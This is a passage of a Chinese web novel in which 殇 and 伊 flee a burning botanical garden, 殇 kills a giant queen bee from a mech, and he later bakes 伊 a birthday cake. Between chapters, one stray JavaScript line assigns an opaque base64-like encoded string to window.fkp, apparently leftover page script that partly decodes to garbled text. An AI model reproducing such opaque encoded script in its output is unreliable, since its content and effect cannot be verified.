“你别激动,我可没说认你这把骚话剑。现在谁给你献了血,谁就是你的主人。” 小咒刀: “(失落)那.......好吧。” 殇: “(微笑)但我没说我不把你当武器。关键时候还得你出场呢。要不是因为用你有诅咒,你绝对是我的‘第一梯队’之中的王牌。” 小咒刀: “(激动)真的?!太好了!又可以被人用作武器了!” 殇: “(微笑)瞧你这没出息的样。——你要跟着我们得有个条件,那就是给我把伊保护好了。要是遇到些会偷袭的阴家伙,你可得保护好那个大菜鸟。还有,你要是敢打伊体内的光之种子的主意,小心我找个坑给你下葬一条龙。” 小咒刀: “(笑)好!我一定会保护好主人的。” 说完,小咒刀就飞到了伊的身旁,成为了伊的贴身护卫。伊转头看了看这把冲着自己笑的剑,也不禁对它露出了笑容。伊用手摸了摸小咒刀的剑格,就像对朋友一样。 伊: “(微笑)那么.......你以后就跟着我们吧。我们以后就是真正的朋友了。” 小咒刀: “(笑)好的呢。” 殇此刻突然想起了一件事,他摸了摸自己口袋,他才想起那两个护符的事。 殇: “操!这重要的事给忘了。” 伊: “(好奇)怎么了?殇。” 殇从口袋中拿出了那两个护符,他把护符递给了伊,伊见到这两个造型独特的护符很是惊讶,她隐隐感觉从哪里见过这个护符。 殇: “忘把这个给你了。之前帮助过我们的那位老奶奶嘱咐我把这个给你,我不小心给忘了,现在才想起来。” 伊接过护符,好好打量了一番。这个护符的造型令伊感觉十分熟悉,但又说不出具体是因为什么。伊能隐隐的感觉到,这两个护符蕴含着巨大的能量,这种能量在护符深处向外悄悄散发着。 伊: “(微笑)真是多谢老奶奶了。(好奇)对了,殇。这个护符有什么作用呢?” 殇: “据说是能够化解一次危机,具体是指什么......我不知道。” 伊: “(猜测)也许是救命的东西吧.......” 殇: “你带好喽,别给弄丢了!” 伊: “(点点头)知道了。” 说完,伊把这两个护符放到了衣服的口袋里妥善保管。就在这时,殇听到了周围的传出的奇怪声音,这个声音似乎是之前那些变异大蜜蜂发出的。与此同时,还有人踩踏草地的声音。殇立马警觉起来,他用E协议变出了黑死神的镰刀。 殇: “(警惕)小心,周围可能有敌人。” 就在殇说出这句话的时候,从伊的后方飞来了许多根毒针,小咒刀瞬间做出行动,空中连续挥砍砍碎了这些毒针。见到小咒刀行动,殇立马往前跑了几步,同时伊听到动静也转身看向身后。 小咒刀: “当心,有些蜜蜂盯上我们了。” 就在小咒刀说我这句话的时候,一只体态臃肿庞大的蜜蜂爬出了树林,爬到了众人前方的空地上。这只蜜蜂全身都是伤,伤口大部分为撕裂伤,还有小部分由爆炸引起的开放式伤口。这只蜜蜂发出了哀嚎声,它身上的伤口正在向外流着血,它的触须被炸断了一部分,它十分痛苦。在爬行了一小段距离之后,支撑它前进的触须断裂了,这下它只能趴在地上苦苦地挣扎了。 殇: “(惊讶)这他妈是什么东西?” 伊: “(猜测)这是......蜂后吗?不,它是蜂王。” 殇: “蜂王?这种蜜蜂社会的贵族怎么会这么狼狈?” 这时,伊的眼睛变成了金色,她看着这只痛苦着的蜂王,她似乎从蜂王的眼睛之中看出了绝望与害怕。伊的身躯颤抖了一下,她心中有个很大胆的想法,但她因为害怕不敢去实现这个想法。在犹豫了几秒之后,伊鼓起勇气走向了倒在地上的蜂王。见到伊这样,小咒刀立马拦下了她。 小咒刀: “主人,你干什么?!那很危险,别去!” 殇: “(疑惑)伊,你在干什么?你不要命了?” 伊: “(有些难过)殇,我能感受到......我能感受到蜂王心中的绝望与害怕,我感觉到它心中有话想对我说。” 殇: “(更加疑惑)啥?你在开玩笑吗?它只是个动物!它不能说话!” 伊: “(有些难过)它现在也没有攻击我的力量和手段了。要是担心的话,就跟我一起吧。” 殇: “(妥协)好吧,真拿你没办法。不知道菌主它给了你什么鬼能力。” 伊: “(摸了摸小咒刀)诅咒之刃,能别攻击它吗?” 小咒刀: “遵命主人。” 小咒刀给伊让开了。伊和殇他们走到了苦苦挣扎地蜂王面前,蜂王见到伊她们有些害怕,想跑但是没力气跑。伊用手摸了下蜂王的头,突然间,伊与蜂王的思维连接在了一起,无数流光一般的画面呼啸而过,但很快,她们的思维连接断开了。 这时的伊看到了许多人造轰炸机正对着森林中巨大的蜂巢进行轰炸,无数的变异蜜蜂在轰炸之中变成了灰烬。在轰炸之后,许多身穿外骨骼重甲的人拿着电磁步枪从后赶来的运输机上跳伞落在了地上,接着就是对地面上残存的蜜蜂进行单方面的屠杀。在屠杀之后,那些人开始用储罐回收蜂巢之中的蜂蜜与虫卵。巢中剩余蜜蜂在蜂王与蜂后的双重命令下对那些入侵者发起了进攻,大规模的蜜蜂如潮水一样从巢中涌出,涌向那些入侵者。与此同时,负责在外采集食物的蜜蜂们也陆续往着巢的方向飞。虽然这些蜜蜂的攻势很猛烈,但是它们依旧架不住拥有强大科技的人类。在电磁步枪的扫射下,许多蜜蜂倒下了,在轰炸机的轰炸下,更多的蜜蜂葬身火海。但是由于数量上的劣势,地面上的人都被蜜蜂们分食殆尽。但后来,又来了一批运输机,从运输机之中下来了好几架战斗机甲。在机甲的猛烈火力下,整个蜂巢沦陷了。在火海之中,蜂王拖着伤痕累累的身躯向着森林中逃去,曾经站在顶层的高傲的王,如今落魄到了如此的地步。蜂后由于受损程度不高,所以奋起反抗。她领导着蜂巢所剩下的最后兵力与这些入侵者进行战斗...... 看到这些,伊的背后不禁流出了冷汗。就在这时,伤痕累累的蜂王竟然开口说话了。 蜂王: “入侵者......入侵者......都没了......什么都没了。人......都是贪婪的。比起我们只为生存而战斗的念想,人类要更污浊......更.......低下。我......想回家......我不想死,我想回家......” 蜂王说的话仿佛就只有伊一人听到。这是伊第一次听到动物向人类传达的信息,这也是这位蜂中帝王最后的倾诉。过了一会,蜂王一动也不动了,它结束了它所承受的苦痛。 伊: “这就是......它的倾诉吗?好凄凉,好绝望。原来.......动物也是有思想的啊。” 殇: “(好奇)喂,伊。你发现什么了吗?” 伊: “(难过)我看到了人造轰炸机轰炸它们的巢穴,还看到了那些人摧毁了它们的巢穴。蜂王很悲伤,很绝望。它们的同族几乎被杀光了!而且那些人是冲着蜂巢里的虫卵与蜂蜜去的。” 殇: “(疑惑)人造轰炸机?这鬼地方能来这种东西?听你说的话,是有人为了这些大蜜蜂的蜂蜜图谋不轨喽。” 伊: “(点点头)没错。” 殇: “(叹了口气)哎......为这个大蜜蜂默哀吧。这世道如今变了啊。以前还没那么操蛋呢。这年头为了钱什么都干啊,就不怕那天被什么自然灾害给报复了?” 小咒刀: “可怜的家伙.......” 这时,从树林之中传出了一声巨响,貌似有什么东西坠毁了。听到这声巨响,殇感觉要出什么事,殇和伊商量一下,最后两人一致决定去看看。很快,他们就来到了巨响发出的地方。那里有一架坠毁的运输机和许多颗被运输机压垮的树木,这些树木上面有烧焦的痕迹,同时地上还有些白色的泡沫。运输机的油箱上有着一个大洞,从这个大洞之中正往外流着汽油。种种迹象表明这架运输机内有幸存者存活。殇和伊走到了这架运输机的近前仔细观察了一下这架运输机的样子,他们惊奇地发现这架运输机上印有碧蓝世界的编号与标志,看样子这件事跟碧蓝世界脱不了关系。 伊: “(惊讶)这是......叔叔公司的标志与编号!是叔叔下令干的。” 殇: “(惊讶)想不到碧蓝脑瘫竟然打起了这个皇家禁区内人畜有害的小蜜蜂的主意。他真是向钱想疯了。——不,这些肯定不是拿去卖钱的。一定是那小崽子在研究什么不好的东西。” 伊: “(担心)殇,这里肯定有幸存者。我担心......” 殇: “我明白你的意思。正好我也想找他聊聊呢。” 殇看了看周围,他推测幸存者应该是躲在运输机里面,于是他缓缓拉开了运输机的舱门。就在运输机舱门被拉开的瞬间,一把匕首从中飞了出来。殇反应迅速,一个侧身躲开了。同时,从机舱内传出了一个人恐惧的叫声。 幸存者: “(惊恐)你们别过来!别过来!我手里......我手里有枪!” 殇听到这个声音,赶忙安慰里面人员的情绪。 殇: “嘿!别害怕,兄弟。我们不是怪物,也不是野人。我们只是路过这里的。” 幸存者: “(紧张)呼......呼......呼......呼......你们.......不是怪物?” 殇: “别害怕,我们只是路过的。我们在丛林里扎营的时候看到了这架运输机,我们想看看这里有没有幸存者。通俗点,我们就是来救你的。” 听到殇这么说,里面的幸存者的情绪慢慢平复下来。他打开了运输机内的灯,在灯亮起之后,殇和伊看清了他的样子。他是个有着蛋黄色头发的殇王国人,身着一身有着碧蓝世界标志的内嵌轻甲的军服,头戴一顶飞行员头盔。他手里拿着一把名为“武侍”的手枪,从样式来看,这把枪是典型的公司款。他的手正在止不住地颤抖,他在之前似乎看到了什么令他十分害怕的东西。 伊: “(安慰)你不用害怕我们,我们不会伤害你的。” 幸存者: “谢谢......小姐。” 殇: “兄弟,你叫什么名字啊?” 幸存者: “我叫孔。” 殇: “兄弟,我看你害怕的样子,你是看到鬼了?” 孔: “(激动)鬼?!她可比鬼还要吓人!” 殇: “冷静点,兄弟。先说清楚,她是谁?” 孔: “祖始巨锋蜂后。” 殇: “蜂后?” 孔: “(激动)没错。她......她是我见过最吓人的东西!我......我本来就害怕蜜蜂......” 殇: “让我猜猜,是她击毁的你是吗?” 孔: “没错。” 殇: “看来你们遭报应了。” 孔: “报应?噢,你说的也对。我们惹得事,我们自己承担。” 殇: “你想活着出去吗?” 孔: “想!” 殇: “回答我几个问题。” 孔: “你说吧,我知道的话都告诉你。” 殇: “你们老板碧蓝脑瘫派你们来是为了什么?” 孔: “嘶~这个.......我只知道老板让我们来是为了‘血清’的研究来取样的。其余的我都不知道,那些都是公司机密,我只是个开飞机的,根本不可能了解得那么细。” 听到血清这两个字眼,伊回想起了一段重要的记忆。 伊: “血清?孔,你们现在去了多少种样了?” 孔: “让我想想......好像已经有六种了。” 伊: “六种.......你知道第五种是什么吗?” 孔: “(托着下巴思考)好像是......紫渊遗体。” 伊: “(惊讶)什么?!紫......紫渊遗体?!” 殇: “(惊讶)诶呦我的天呢!你们老板是他妈的要造alpha级大规模杀伤性生化武器我都信。你们老板他妈是造的是血清吗?” 孔: “详情我不知道,我只知道这么多。” 殇在震惊之余更多的是害怕,因为他知道紫渊的危险程度具体有多大。此刻,他无意间看到了运输机货仓内放着的一个中型战斗机甲。他很好奇,比起好奇他更想坐上去开着这个大家伙。 殇: “还有个问题。(指着货仓里的机甲)哥们,那个是干什么的?” 孔: “(看向那台机甲)哦,你说那个啊。那个本来是要给地面部队用的,但是没运到战场我这运输机就被蜂后的毒针给打下来了。现在我估摸战斗也应该结束了,这东西应该会有人来回收。” 殇: “那这玩意借我开一会行吗?” 孔: “(犹豫了一下)行是行,但是在离开植物园后你必须把这个给我留下,不然你会成为公司眼中‘夜空中最亮的星’的,偷这东西可是要死人的。” 殇: “行。我就开一会,把你和她送出植物园后我就把这个还你。” 孔: “行,老哥。” 说完,孔起身从座椅上拿起了平板,正准备带着殇去激活这台战斗机甲,只听到远方传来了几声震耳欲聋的爆炸声,接着运输机响起了警报声。伊和孔直接愣在了原地,而殇不一样,他直接跑到了运输机外面,然后一个健步跳到了运输机遗骸上方往远处一看,他发现高度不够,看不清远处的景象。就在这时,在外面摸鱼睡觉的小咒刀突然醒了,它也察觉到了危险,考虑再三,决定先找到殇。在运输机上站着的殇注意到了小咒刀,他见此赶忙呼唤小咒刀。 殇: “(急)小咒刀!快他妈的给我飞上来!” 小咒刀听到殇的声音,然后抬头一看,它发现殇在运输机遗骸上面站着,就察觉到了不妙。它赶忙答应殇,然后直接飞到了殇的身旁。 小咒刀: “好!” 殇: “你能往上飞多高?” 小咒刀: “八十来米吧。” 殇: “行!你能看清楚远景不?” 小咒刀: “我的视力指数有10,保准看得清。” 殇: “你飞上去给我侦查一下,看看周围到底发生什么了?” 小咒刀: “好。” 小咒刀一跃而起直接飞到了据地七十米的高空之中,它俯视了一圈周围,它看到了广袤的树林与占地面积庞大的植物园全貌,它能依稀看到远方度假村的影子。这时,它注意到树林之中有一个焦黑色的巨大蜂巢,蜂巢的周围是一片火海。火势的蔓延极其迅速,在半分钟内就向周围蔓延了十几米。在看到这些后,小咒刀赶忙降落去警告殇他们。在看到小咒刀落下来后,殇问小咒刀: “周围什么情况?” 小咒刀: “不好了!植物园的树林起火了!而且火势正在向我们这里蔓延!” 殇: “操!得赶紧带着她们离开这里了。” 殇从运输机上一跃而下,他冲进运输机内向伊和孔诉说外面的威胁。在听到殇说的话后,伊和孔立马紧张起来。留给他们的时间不多了,烈火即将吞没这片树林。 孔: “(着急)殇!时间紧迫,你坐上机甲给我们开路吧。我现在就给机甲解封!” 殇: “好。” 殇坐上了这台机甲,接着孔解除了这台机甲的授权锁,然后殇将这台机甲切换成了手动模式。 系统: “(电子音)检测到您为携带作战服。为了您的安全着想,请佩戴安全服使用手动模式。否则您的身体......” 殇: “(用手砸了下屏幕)别他妈墨迹,赶紧给我启动就完了。” 系统: “遵命。已按照程序激活I协议。” 随着I协议的激活,这台机甲的引擎传出了轻微的嗡嗡声,整个机甲上所有的灯都亮了起来。在殇熟练的操作下,这台机甲成功站了起来。 孔: “成功了!老兄,你可真一手。” 殇: “别废话了。时间紧迫,我们赶紧走吧。孔,你给我保护好她,同时也保护好自己,我操作这个大铁疙瘩没法照顾到全部。” 孔: “知道了,老兄。” 伊: “注意安全,殇。” 殇: “知道了,快走吧。” 孔拿着手枪带着伊从运输机的舱门之中跑了出去,紧接着殇这台机甲右手部的链锯活生生地在运输机上切开了一个大口子以便这台机甲出去。虽然这台机甲看上去很笨重,但是实际操作起来并不笨重,这个大家伙跑得比正常人快了不少。由于伊的记性较好,所以孔和殇都是跟着伊往植物园的出口走。在一段时间后,树林之中已经到处弥漫着烧焦的味道了,同时火势紧紧地追着殇他们,烈火的浪潮距离他们只有不到十米了。殇所驾驶的机甲一路上砍倒了一大片树木以来制造隔离带,但是奈何火势蔓延太快,隔离带根本隔绝不了火势的蔓延。过了一会,胜利的曙光出现在了伊的眼前。现在森林的出口就在眼前,马上她们就可以火里逃生了。 伊: “(激动)大家!快!出口就在前面!” 突然,从她们的背后传来了一声痛苦的吼声,接着一个全身燃着烈火庞大怪物冲向了她们。伊和孔转身看去,在看到这个庞大的怪物后,伊吓得浑身发抖,孔吓得魂都丢了,孔这时后撤了一步,他想要逃跑。但是他心中的声音告诉他,他答应了殇要保护那个姑娘,所以他不能在这个时候逃跑。殇转身看到这个怪物后并未露出害怕的神情,他只是用机甲内的扩音器对身后害怕的两人和一把摸鱼的剑说: “你们赶紧离开!这个家伙交给我来对付。” 伊: “(担心)你行吗?殇。体积差距这么悬殊.......你会死的!” 孔: “(担心)哥们,这可不是这种量级的机甲可以对付的敌人!她......她的体型太庞大了!她......她是蜂后,我的运输机就是被她打下来的。我们许多......” 殇: “够了!没听懂话吗?别忘了,我曾经独自面对过体积如同泰坦的紫渊。” 孔: “可......” 伊: “那你多保重,殇。我们走吧,孔,他说什么就做什么。” 孔: “好吧,那你多保重,哥们。” 说完,伊和孔就冲向了树林的出口。小咒刀看了看伊她们,又转头看了看殇。 小咒刀: “加油哦,我曾经的主人。” 说完,小咒刀去追伊和孔去了。现在就只剩下了这只咆哮的蜂后和驾驶着机甲的殇。蜂后的体型是这台机甲的五六倍,力量根本就不是一个量级,但是面对此等敌人,殇依旧临危不惧,这是他作为王者必有的风范。殇深吸了一口气,然后呼出去,他手动激活了这台机甲的所有武器,接着他试着激活神经元连接,但是他发现他没有安装任何义体,而且机甲内并未有神经元连接头盔。 殇: “妈的,真是他妈的倒了大霉了。不管了,上吧。看看我打游戏的水平有没有退步了。” 在蜂后距离殇大约有七米的时候,殇对着蜂后伸直了左臂,接着他按下全部开火的按钮,顷刻间,机甲配备的所有攻击单位全部开火。子弹与炮弹与导弹如雨点一样袭向了蜂后,那场面可以用枪林弹雨来形容。蜂后的身上被炸开了许多道伤口,鲜血从这些伤口之中飞溅出来,蜂后发出了痛苦的哀嚎声,似乎是在请求殇停止对她的攻击。由于机甲配备的弹药量不充足,就导致殇的这一次全面开火只持续了三秒钟,虽然重创了蜂后,但还不以致命。 殇: “操!关键时候没子弹了!” 就在子弹都打完的那一刻,蜂后抓住时机一个快速甩尾把尾部仅剩的一根毒针刺入了这台机甲的引擎,顿时这台机甲的引擎火花四溅,各种报错一瞬间全部出现机甲内部的屏幕上。同时蜂后的这一击还把这台机甲击飞出去好几米,在机甲内的殇差点被弄出脑震荡。在机甲落地后,由于引擎损坏,机甲没办法做出太大的移动。所幸殇的技术高,在几乎没挪地方的情况下通过轻微的挪脚重新使机甲恢复了平衡。这时,蜂后拖着庞大的身躯以极快的速度冲到了机甲面前,紧接着一口咬在了机甲的左臂上,同时把机甲推倒在了地上。此刻,殇看清了蜂后那令人恐惧的面部。她的面部十分扭曲狰狞,十多只眼睛一起看着殇令殇感觉十分恶心,再加上烧焦了皮肤,直接给殇留下了心理阴影。机甲的左臂连接断开,现在只有右臂可以使用。殇启动右臂的链锯,接着就准备用链锯杀死蜂后。就在这时,殇听到了蜂后的低语。 蜂后: “(哀求)放过我......人类。我不想死.......我想活下去......” 这不是幻觉,这是的的确确真实存在的。殇在听到蜂后说的话之后犹豫了一下,但很快,他就将手放在了操作面板上。 殇: “对不起,我们也只想活下去。” 说完,殇操纵右臂直接将链锯刺入了蜂后的头,接着慢慢往下锯。在这个过程中蜂后浑身都在颤抖着,但很快,她就一动不动了,死了。见到蜂后被锯死后,殇看了看周围,他发现自己被火海包围了。殇立马察觉到了不妙,他赶忙一拳头砸在应急逃生按钮上,然后机甲的紧急救援装置把他从机甲里弹了出来。殇在离开机甲后看了一眼死去的蜂后,他叹了一口气,感慨世事无常。 殇: “(尊敬)再见,曾经蜂巢的帝王。” 说完,殇跑向了树林的出口。在火海逃生后,殇一路穿越燃着大火的温室,最后一路疾驰冲出了植物园。此时已是深夜,植物园的火光染红了天空。在植物园的门口,殇凝望着这曾作为无数高管帝王休闲独家的首选度假圣地在火中烧为灰烬。 ....... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 天堂岛—第九话:情感的转折 在逃出植物园后,殇如愿看到了毫发无损的伊和孔。孔在看到殇没有把机甲开出来后有些许失落,但很快他就因为看到殇毫发无伤而笑了起来。伊看到殇什么事也没有后也笑了,笑得还特别灿烂。但在殇走进之后,伊的神情立马表现出担心的意思。 伊: “(担心)殇,你没事吧。” 殇: “(自信地笑)能有啥事?不过一只‘小蜜蜂’而已。” 伊: “(微笑)没事就好。” 孔: “(微笑)老兄,真庆幸看到你没事。” 殇: “(微笑)我也一样。——话说,我把你们公司的那台机甲给弄没了你们公司不会找我什么事吧?毕竟我看那大铁疙瘩好像挺贵的。” 孔: “这点你不用担心,我们公司有保险。如果因为工事损失了财产,保险可以报销35%。” 殇: “你能别把遇到我们两个的事告诉你们公司的人吗?我们的处境有些尴尬。” 孔: “怎么不行呢?你救了我一命,还帮我报了仇,我怎么能不答应呢?” 殇: “我怎么知道你是不是那些吃里扒外的公司狗?” 孔: “(理直气壮)我干这行是要养家糊口的。在这个吃人的世界里混,讲法律没用,讲义气才有用。毕竟人也是要吃饭的吗,我家人也还靠我养呢。” 殇: “(微笑)看来我没看错你。虽然只有一面之缘,但我了解你这种人的人品。——一会你用你身上携带的信号棒或者其他的什么求救用品呼救救援吧,我和她有事得先离开了。” 孔: “等下,你叫殇对吗?” 殇: “对。” 孔: “兄弟,日后有机会再见吧。” 殇: “那好,有机会再见。” 说完,殇带着伊就沿着公路向着远处的度假村赶去。由于已是晚上,没走多远伊就犯困了。走着走着,伊就站在原地一动不动了。殇见此摇了摇头,他看了看天,又看了看站着睡着的伊。 殇: “伊,伊?伊!” 伊: “(被叫醒)啊?嗯?(昏昏欲睡)怎么了?殇?” 殇: “瞧给你困得那个样。” 伊: “(昏昏欲睡)没办法......太困了......” 说完,伊又睡了过去。在一旁跟着的小咒刀都惊了,它第一次看到站着睡着的人。小咒刀由于是剑,它几乎不需要睡觉,它很亢奋。 小咒刀: “殇,这怎么办?” 殇: “(用手拍额头)真是服了她了。我背着她前进吧,看看前面有没有什么休息站什么的。” 殇背起睡着的伊,然后他沿着公路向着前方前进。在走了一会后,他才想起来被自己遗忘的跑车,但是现在往回走已经来不及了,他只能继续步行前进。在走了大约两个小时后,殇感觉到有东西滴在了自己的肩膀上,他转头看向伊,伊睡觉的时候流口水了。 殇: “(小声)这他妈的......流口水?惯的你是不是......” 殇做了个深呼吸,他用手擦了擦伊嘴边的口水,然后继续背着伊向着度假村走去。走了不一会,周围的空气十分寒冷,他背后的伊忍不住地在发抖。殇担心伊感冒,于是用E协议变出了EmA-68(一件指挥官大衣)披在了伊的身上。在月亮靠近地平线的时候,殇遇到了一辆停在路边的房车,他二话不说直接打开了房车车门。房车内很是干净,各种设施都没有损坏,最主要的是床还在。殇把伊放到了床上,然后走到驾驶位检查这辆车的驾驶系统,在坐到驾驶位上时,殇发现这辆车竟然不是用钥匙激活的,而是用按钮激活的。殇按了一下那个按钮,车体微微颤抖,熟悉的引擎发动声回响在殇的耳旁。殇看了看油表的读数,他惊喜地发现这辆车还有近一半的油量。当他看到车内显示屏上的日期时,他才发现自己错过了一个重要的日子。他转头看了看在后面熟睡的伊,又看了看车内的冰箱。他离开驾驶位悄悄地走到了冰箱前,接着小心翼翼地打开了冰箱。冰箱里有一袋还未过期的面粉、几个鸡蛋以及些许食材。 殇: “(小声)这些应该够了。” 殇看向房车内的小厨房,小厨房内的设施齐全,这正是殇想要的。殇这时想起了那把剑,他看了看房车内部,他没有发现那把剑。于是他回到驾驶位准备发动这辆车,就在这时,他看到了小咒刀。小咒刀此刻靠着副驾驶的椅子睡觉,而且看样子睡得很香。殇见此笑了笑,然后他发动这辆车沿着公路向着天堂度假村开去。此刻周围十分安静,只有风吹过草地与树叶的沙沙声。殇抬头看了看夜空,今晚的夜空有着漫天的繁星与一轮弯月。天上的星格外耀眼,它们如同宝石一样点缀着这片黑色的海洋,这使得本来漆黑的夜空变得如此美丽。在这个时候,殇的神经依旧紧绷着,因为他还得开车,但他的心已然放松。这里是废弃的天堂岛,这里没有都市的喧嚣,没有一天说个不完的新闻,没有雾霾与坏心情,只有最纯真的自然。 殇: “(微笑)要是天天能够这样就好了。” 当太阳的光辉从地平线处出现时,殇渐渐降低了车速,最后将车停在了一座小山的山顶上。殇转头看了看还在熟睡的伊笑了笑,然后转过头来把车熄了火,他靠在驾驶位上缓缓闭上了眼睛。在梦中,殇看到了一位也是白发红瞳的孩子,她长得跟伊很像很像,几乎是一个模子刻出来的,但是外貌上还是有些区别。见到她,殇能感觉到一种温暖,这种温暖是他失去已久的,是他最珍视的。虽然他失忆了,但是有些东西是他遗忘不了的。 殇: “是你吗?孩子?” ???: “是我啊,你不记得我了吗?” 殇: “我......” ???: “你真的忘了我吗?爸爸......” 听到这两个字,一段失去的记忆重新浮现在殇的脑中。那是令他一生难忘的时刻,那时殖民者打了进来,那时他失去了自己的家人与国家。那时殖民者当他的面杀了他女儿,他这个作为父亲的没有保护好她。他那时只是一个平凡人,他那时还有一个幸福圆满的家庭。一无所有的他,选择了反抗,选择带领所有不甘于屈服的人去与敌人战斗。想到此处,殇的眼角流下两行泪水。这时,熟悉的音乐响起,那是他年轻时最喜欢听的音乐,这首乐曲曾经有个人给他弹奏过......殇想起来了这部分的记忆。 ???: “这首乐曲,你还记得吗?爸爸。” 殇: “(悲伤)记得,我记得。我亲爱的女儿......” 殇走上前去紧紧地抱住了面前的女孩,那个女孩也抱着他。殇一刻都不想松手,他不想让这个他所珍爱的人再离开自己了。 殇: “(愧疚)对不起,女儿。是爸爸不好,是爸爸的错。都是因为我那时的懦弱才害死了你。” ???: “爸爸,我从来都没怪过你。我知道你一直爱着我们,你从来都没有放弃过我们。” 殇: “(感动)女儿......” ???: “爸爸,好好对待你身边的人,别在失去之后再后悔了......爸爸,我爱你......” 这个孩子随着一阵风化成了无数发着光的花瓣,只留下殇自己一人在原地静静地思考。在重新追回这段记忆后,殇终于想起自己的身份。殇擦了擦脸上的泪水,重新站了起来。他回头看向身后,这时身着王者战甲的他正拿着剑站在他的身后看着他。 殇: “我终于记起你来了。” 王殇: “你还他妈的记得我?是不是忘了你怎么来无人区的了?” 殇: “我还真忘了。” 王殇: “好家伙,不愧是我。” 殇: “见到你真他妈的好啊,这样我就可以借用你的力量了。” 王殇: “我借我自己,哈,真有意思。记住了,我们是一个人,而我只是你的一个人格。” 殇: “卧槽,那我见到你不就是人格分裂了吗?” 王殇: “可以说是,但不完全是。你能见到我都是得益于拿灯的那个死人。” 殇: “你是指冥河使者?” 王殇: “没错。那家伙现在就在车外面引导你的灵魂。” 殇: “有一说一,那家伙还挺有用的。” 王殇: “可不是吗。” 殇这时感觉有点头疼,他的视线开始变得有些模糊。他能感觉到周围的景象在慢慢消失,看样子这场梦是要结束了。 殇: “(忍痛)啊!操,我估摸我要醒过来了......” 王殇: “那好,回见。有时间我们梦里聊聊......” 殇缓缓睁开了眼睛,他看了看天,发现太阳刚刚从地平线处升起。殇看了看时间,现在是早上五点多。殇看了看车内,小咒刀和伊都在睡觉。殇小心翼翼地离开驾驶位打开车门走出去呼吸了一口清晨时分的新鲜空气,他的身上有些酸痛,显然昨天晚上他没休息好。 殇: “(微笑)早安,天堂岛。” 殇简单地热身了一下,接着回到车内拿出了冰箱里的食材,然后他按照脑中的记忆开始制作蛋糕。他的手法十分娴熟,打蛋、和面、配料都做得不错,这都得益于他强大的肌肉记忆。在厨房工作了一个半小时后,殇把做好的蛋糕放进了烤箱,接着他开始忙活伊的早饭。殇会做的东西很多,但是最擅长的当属他家乡殇王国的汤面。虽然食材有限,但是殇依旧做出了家乡的味道。在做好早饭后,殇坐在了厨房的椅子上,接着转头看向了伊。看着伊,殇回想起了自己已经死去的女儿。她跟伊很像,就连性格都很相像,仿佛伊就是他逝去的女儿。 殇: “像......真他妈的像啊。虽然是两个完全不同的人,但是两人彼此之间相似之处有很多。样子几乎一样,就连她妈的家族遗传瞳孔都一样。这是巧合吗?还是说是那些所谓的‘播种者’故意所为?伊娜生出来的孩子,特征一点都不像她。一个白发,一个棕发。但有一点是很相近的,那就是两者都有能给人带来光明的心与眼神。” 太阳渐渐从地平线处升起,明媚的阳光普照大地。天空还是那样的如宝石般蔚蓝,朵朵白云依旧在天空中懒懒地飘动,在这个已经被废弃了无人区边缘小岛上,只有安静与自然的气息。温暖的阳光透过窗户照在了伊的身上,清新的空气透过窗户流进了车内。伊缓缓睁开眼睛,阳光很是刺眼,这使得伊本能地用手挡了下阳光。 殇: “(微笑)诶,伊。起来啦?太阳都晒屁股了。” 伊: “早上好,殇。” 殇: “(微笑)你也一样。——赶紧起来吧,我给你准备的早饭都要凉了。” 伊: “(从床上坐起来)殇,我们这是在哪里?” 殇: “这里是我从路上捡来的破车,有油,能开,还能住人。” 伊: “昨天晚上发生什么了?我记得我走着走着就......剩下的就不知道了。” 殇: “你还好意思提?昨天你走着走着睡着了,我给你叫醒了,然后不一会又睡着了。之后是我背着你走了大半天才找到的这辆破车。最主要的是,你他妈睡觉的时候流口水了,流我一肩膀。” 听到这话,伊的脸红了起来,她很是不好意思,毕竟她自己也是个大人了。 伊: “(愧疚)对不起,殇。我又给你添麻烦了。” 殇: “道歉就不必了,你给我添的麻烦.......怎么说,我都习惯了。” 伊: “(好奇)对了,殇。孔后来去哪里了?” 殇: “你说他啊......走了,回家去了。” 伊: “没事就行。” 殇: “你赶紧到饭桌前坐着吧,我去把早饭端给你。” 伊: “(点点头)好。” 伊下了床,走到了饭桌前坐下。她打量了一翻车内,她看到了菜板上被切剩下的小葱和些许面粉,她猜测殇可能为她做了一顿面食。过了一会,真就如她猜的那样,殇把一碗热腾腾的面条端上了饭桌。 伊: “(微笑)谢谢你,殇。有劳你了。” 殇: “(微笑)你先别吃,你先把眼睛闭上。我说让你睁开你再睁开。” 伊: “(好奇)闭上眼睛?好吧。” 伊乖乖地闭上了眼睛,她静静地等待着。她的心里有些怀念与期待,她很久很久没有这么做过了,上一次还是在十几年前。她等待着,期待着,就仿佛回到了十多年前的那个夏夜。 殇: “可以睁开眼睛了。” 带着期待,伊睁开了眼睛。刚睁开烟,伊就看到了一个白色的奶油蛋糕正整整齐齐地放在饭桌上。在这个蛋糕的上面,有着一根独特的蜡烛,在蜡烛的下面用花生酱写着生日快乐四个大字。在看到这个蛋糕后,伊很是惊喜与感动,她的眼角泛着泪光。 殇: “伊。我知道有些迟了,但是总比忘掉要强。这是给你的。虽然错过了你的生日,但我还得说一句.......生日快乐。” 伊: “(用手指着蛋糕)这是.......给我的?” 殇: “怎么了?不喜欢还是不想要?不要你也得给我要,我他妈.......(突然意识到了什么)我花了老长时间给你做的,收下吧。” 伊: “(感动)不不不,我不是那个意思。” 殇: “那你是什么意思?我告诉你,别给我扯用不着的。” 伊: “殇.......” 殇: “对了,这个事我差点忘了。” 殇拿出了一盒火柴,他抽出一根火柴,轻轻沿着火柴盒旁边一划点燃了火柴。殇小心翼翼地用火柴点燃了蜡烛,然后一口吹灭了火柴。 伊: “(感动)真的十分谢谢你。我好久没有像这样过生日了......” 殇: “谢谢、谢谢、谢谢!你一天到晚跟我说的话一半都是这个,整得我跟救世主似的。(微笑)现在你先别说什么谢谢,先闭上眼睛许个愿吧。” 伊: “(乖乖地闭上眼睛)好......” 伊双手合十在心中许下了愿望。 伊心里: “我希望......我未来一路顺风,这个世界上的所有人都能被‘光’所拯救。我希望我和殇能一起走到路的尽头......我希望早日见到妈妈......” 